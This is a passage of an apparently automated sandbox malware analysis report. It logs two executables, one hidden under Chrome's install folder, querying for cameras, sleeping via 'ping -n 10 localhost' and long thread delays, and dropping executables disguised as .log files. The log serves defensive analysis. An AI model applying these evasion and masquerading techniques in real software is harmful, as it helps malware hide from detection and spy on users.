Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost			Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Memory allocated: 1690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Memory allocated: 1B250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Memory allocated: 1620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Memory allocated: 1AF60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599872	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599310	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599187	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598859	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598640	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598141	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598006	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 593778	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 593500	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 592859	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 592516	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 592234	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 591828	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 591681	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 591453	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 591141	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 590609	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 589672	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 589109	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 588672	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 588187	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 587922	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 587531	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 587234	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 586344	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 585750	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 585508	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 585149	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 584766	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 584391	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 584109	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583919	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583669	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583556	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583451	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583340	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583234	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583115	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582937	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582827	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582682	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582578	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582468	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582343	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Window / User API: threadDelayed 5100			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Window / User API: threadDelayed 4522			Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VpOjKmVj.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dzgITJmq.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kRKYWufF.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MbILlBNZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LHvTaJQB.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OJhBvsUw.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EZaEGMWX.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hqWzaFmj.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\haUhPxfM.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CKvNPuCt.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zCyFubHy.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vUrgROiK.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\cnCjmBPY.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TZwLNPIO.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TIptzuOL.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KbadTfuJ.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\EpQDWYXm.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\znwnjTAb.log	Jump to dropped file

Source: C:\Users\user\Desktop\DWTukBG9R7.exe TID: 6468	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 6412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -599872s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -599750s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -599640s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -599421s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -599310s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -599187s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -599078s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -598859s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -598750s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -598640s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -598422s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 5136	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -598141s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -598006s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -594875s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -594000s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -593778s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -593500s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -592859s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -592516s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -592234s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -591828s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -591681s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -591453s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -591141s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -590609s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -589672s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -589109s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -588672s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -588187s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -587922s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -587531s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -587234s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 5136	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -586344s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -585750s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -585508s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -585149s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -584766s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -584391s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -584109s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -583919s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -583669s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -583556s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -583451s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -583340s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -583234s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -583115s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -582937s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -582827s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -582682s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -582578s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -582468s >= -30000s	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe TID: 3876	Thread sleep time: -582343s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599872	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599750	Jump to behavior
